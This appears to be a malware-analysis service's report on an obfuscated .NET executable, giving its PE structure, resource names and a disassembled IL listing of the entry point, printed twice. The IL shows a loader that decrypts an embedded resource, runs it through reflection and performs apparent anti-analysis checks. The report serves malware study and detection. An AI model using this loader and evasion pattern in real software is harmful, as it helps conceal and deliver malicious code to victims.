Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
[Authenticode]_0e0eaaff.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
4ipPn0CkEc.Resources.resources
4ipPn0CkEc.g.resources
5d481b622c88a4.Resources.resources
2b8790ac0
[NBF]root.Data
2b8790ac1
[NBF]root.Data
2b8790ac10
[NBF]root.Data
2b8790ac11
[NBF]root.Data
2b8790ac12
[NBF]root.Data
2b8790ac13
[NBF]root.Data
2b8790ac14
[NBF]root.Data
2b8790ac15
[NBF]root.Data
2b8790ac16
[NBF]root.Data
2b8790ac17
[NBF]root.Data
2b8790ac18
[NBF]root.Data
2b8790ac19
[NBF]root.Data
2b8790ac2
[NBF]root.Data
2b8790ac20
[NBF]root.Data
2b8790ac21
[NBF]root.Data
2b8790ac22
[NBF]root.Data
2b8790ac23
[NBF]root.Data
2b8790ac24
[NBF]root.Data
2b8790ac25
[NBF]root.Data
2b8790ac26
[NBF]root.Data
2b8790ac27
[NBF]root.Data
2b8790ac28
[NBF]root.Data
2b8790ac29
[NBF]root.Data
2b8790ac3
[NBF]root.Data
2b8790ac30
[NBF]root.Data
2b8790ac31
[NBF]root.Data
2b8790ac32
[NBF]root.Data
2b8790ac33
[NBF]root.Data
2b8790ac34
[NBF]root.Data
2b8790ac35
[NBF]root.Data
2b8790ac36
[NBF]root.Data
2b8790ac4
[NBF]root.Data
2b8790ac5
[NBF]root.Data
2b8790ac6
[NBF]root.Data
2b8790ac7
[NBF]root.Data
2b8790ac8
[NBF]root.Data
2b8790ac9
[NBF]root.Data
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
Authenticode present at 0x12C200 size 434874 bytes
Module Name
4ipPn0CkEc
Full Name
4ipPn0CkEc
EntryPoint
System.Void Tk4ne.De4gwpF0E/Emy0g4.Cft94Wqn::Cwa01bJb()
Scope Name
4ipPn0CkEc
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
4ipPn0CkEc
Assembly Version
2.28.17.77
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void Tk4ne.De4gwpF0E/Emy0g4.Cft94Wqn::Cwa01bJb()
Main IL Instruction Count
247
Main IL
nop <null>
br.s IL_0003: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_002F: nop
nop <null>
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState()
ldc.i4.1 <null>
ceq <null>
stloc.s V_17
ldloc.s V_17
brfalse.s IL_0048: ldc.i4.3
ldc.i4.1 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
ldc.i4.3 <null>
br.s IL_0044: stloc.s V_23
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
nop <null>
ldc.i4.3 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture()
stloc.0 <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo)
nop <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo)
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.1 <null>
ldc.i4.5 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
ldc.i8 3
ldc.i4 1606569071
ldc.i4.0 <null>
ldnull <null>
call System.String nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2::0kmHcfC4(System.Int64,System.Int32,System.Int32,nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2)
stloc.2 <null>
br.s IL_0096: br.s IL_0098
br.s IL_0098: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00B8: nop
nop <null>
ldloc.1 <null>
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String)
stloc.s V_18
ldloc.s V_18
callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion()
stloc.2 <null>
leave.s IL_00E1: br.s IL_00E3
br.s IL_00D2: br.s IL_00D4
br.s IL_00D4: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00E1: br.s IL_00E3
br.s IL_00E3: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_012B: nop
nop <null>
ldc.i4.s 28
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.3 <null>
ldloc.3 <null>
nop <null>
ldc.i4.3 <null>
ldc.i4 885179744
ldnull <null>
call System.String nm6JX5m.9kgCTo::6Gctjm3ExRi01(System.Int32,System.Int32,nm6JX5m.9kgCTo)
nop <null>
ldc.i8 14
ldc.i4 1606569051
ldc.i4.2 <null>
ldnull <null>
call System.String nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2::0kmHcfC4(System.Int64,System.Int32,System.Int32,nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.s V_4
ldc.i4.6 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_4
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_19
ldloc.s V_19
brfalse.s IL_017F: ldc.i4.s 12
ldc.i4.0 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldc.i4.s 12
br.s IL_0178: stloc.s V_27
ldloc.s V_4
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
nop <null>
ldc.i4.s 12
stloc.s V_27
br IL_00E6: ldloc.s V_27
nop <null>
ldc.i4.1 <null>
stloc.s V_5
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_7
ldc.i4.4 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
call System.String 5kbPpdF6.Wc8giBe01tk::2gqAeL9p5b()
call System.Byte[] bb6J4Rpf.ax1F5Tzkf7n::tEs34bMmnc1Q(System.String)
stloc.s V_8
call System.Boolean System.Environment::get_UserInteractive()
stloc.s V_9
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_20
ldloca.s V_20
call System.Int32 System.Drawing.Rectangle::get_Width()
stloc.s V_10
ldc.i4.1 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_8
castclass System.Byte[]
call System.Byte[] Tk4ne.De4gwpF0E::oz3AdSx65eoYM(System.Byte[])
stloc.s V_11
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_11
stelem.ref <null>
ldc.i4.s 14
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_12
call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip()
stloc.s V_20
ldloca.s V_20
call System.Boolean System.Drawing.Rectangle::get_IsEmpty()
stloc.s V_13
ldc.i4.3 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_14
ldloc.s V_14
nop <null>
ldc.i4.8 <null>
ldc.i4 885179732
ldnull <null>
call System.String nm6JX5m.9kgCTo::6Gctjm3ExRi01(System.Int32,System.Int32,nm6JX5m.9kgCTo)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_15
ldc.i4.7 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_15
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_16
ldc.i4.s 11
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_7
ldloc.s V_6
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_16
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldloc.s V_7
ldloc.s V_6
call System.Void 5kbPpdF6.Wc8giBe01tk::Hsg8zj(System.Object[],System.Int32)
ldc.i4.8 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
nop <null>
leave.s IL_02CD: br.s IL_02CF
br.s IL_02BB: br.s IL_02BD
br.s IL_02BD: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02CD: br.s IL_02CF
br.s IL_02CF: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_02EF: nop
nop <null>
ret <null>
ldtoken System.Void Tk4ne.De4gwpF0E/Emy0g4.Cft94Wqn::Cwa01bJb()
pop <null>
ret <null>
Module Name
4ipPn0CkEc
Full Name
4ipPn0CkEc
EntryPoint
System.Void Tk4ne.De4gwpF0E/Emy0g4.Cft94Wqn::Cwa01bJb()
Scope Name
4ipPn0CkEc
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
4ipPn0CkEc
Assembly Version
2.28.17.77
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void Tk4ne.De4gwpF0E/Emy0g4.Cft94Wqn::Cwa01bJb()
Main IL Instruction Count
247
Main IL
nop <null>
br.s IL_0003: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_002F: nop
nop <null>
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState()
ldc.i4.1 <null>
ceq <null>
stloc.s V_17
ldloc.s V_17
brfalse.s IL_0048: ldc.i4.3
ldc.i4.1 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
ldc.i4.3 <null>
br.s IL_0044: stloc.s V_23
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
nop <null>
ldc.i4.3 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture()
stloc.0 <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo)
nop <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo)
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.1 <null>
ldc.i4.5 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
ldc.i8 3
ldc.i4 1606569071
ldc.i4.0 <null>
ldnull <null>
call System.String nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2::0kmHcfC4(System.Int64,System.Int32,System.Int32,nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2)
stloc.2 <null>
br.s IL_0096: br.s IL_0098
br.s IL_0098: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00B8: nop
nop <null>
ldloc.1 <null>
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String)
stloc.s V_18
ldloc.s V_18
callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion()
stloc.2 <null>
leave.s IL_00E1: br.s IL_00E3
br.s IL_00D2: br.s IL_00D4
br.s IL_00D4: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00E1: br.s IL_00E3
br.s IL_00E3: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_012B: nop
nop <null>
ldc.i4.s 28
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.3 <null>
ldloc.3 <null>
nop <null>
ldc.i4.3 <null>
ldc.i4 885179744
ldnull <null>
call System.String nm6JX5m.9kgCTo::6Gctjm3ExRi01(System.Int32,System.Int32,nm6JX5m.9kgCTo)
nop <null>
ldc.i8 14
ldc.i4 1606569051
ldc.i4.2 <null>
ldnull <null>
call System.String nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2::0kmHcfC4(System.Int64,System.Int32,System.Int32,nm6JX5m.9kgCTo/Gjf2aF6o8.Ei1s8cwQa5Xy2)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.s V_4
ldc.i4.6 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_4
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_19
ldloc.s V_19
brfalse.s IL_017F: ldc.i4.s 12
ldc.i4.0 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldc.i4.s 12
br.s IL_0178: stloc.s V_27
ldloc.s V_4
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
nop <null>
ldc.i4.s 12
stloc.s V_27
br IL_00E6: ldloc.s V_27
nop <null>
ldc.i4.1 <null>
stloc.s V_5
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_7
ldc.i4.4 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
call System.String 5kbPpdF6.Wc8giBe01tk::2gqAeL9p5b()
call System.Byte[] bb6J4Rpf.ax1F5Tzkf7n::tEs34bMmnc1Q(System.String)
stloc.s V_8
call System.Boolean System.Environment::get_UserInteractive()
stloc.s V_9
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_20
ldloca.s V_20
call System.Int32 System.Drawing.Rectangle::get_Width()
stloc.s V_10
ldc.i4.1 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_8
castclass System.Byte[]
call System.Byte[] Tk4ne.De4gwpF0E::oz3AdSx65eoYM(System.Byte[])
stloc.s V_11
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_11
stelem.ref <null>
ldc.i4.s 14
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_12
call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip()
stloc.s V_20
ldloca.s V_20
call System.Boolean System.Drawing.Rectangle::get_IsEmpty()
stloc.s V_13
ldc.i4.3 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_14
ldloc.s V_14
nop <null>
ldc.i4.8 <null>
ldc.i4 885179732
ldnull <null>
call System.String nm6JX5m.9kgCTo::6Gctjm3ExRi01(System.Int32,System.Int32,nm6JX5m.9kgCTo)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_15
ldc.i4.7 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_15
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_16
ldc.i4.s 11
stloc.s V_27
br IL_00E6: ldloc.s V_27
ldloc.s V_7
ldloc.s V_6
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_16
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldloc.s V_7
ldloc.s V_6
call System.Void 5kbPpdF6.Wc8giBe01tk::Hsg8zj(System.Object[],System.Int32)
ldc.i4.8 <null>
stloc.s V_27
br IL_00E6: ldloc.s V_27
nop <null>
leave.s IL_02CD: br.s IL_02CF
br.s IL_02BB: br.s IL_02BD
br.s IL_02BD: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02CD: br.s IL_02CF
br.s IL_02CF: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_02EF: nop
nop <null>
ret <null>
ldtoken System.Void Tk4ne.De4gwpF0E/Emy0g4.Cft94Wqn::Cwa01bJb()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙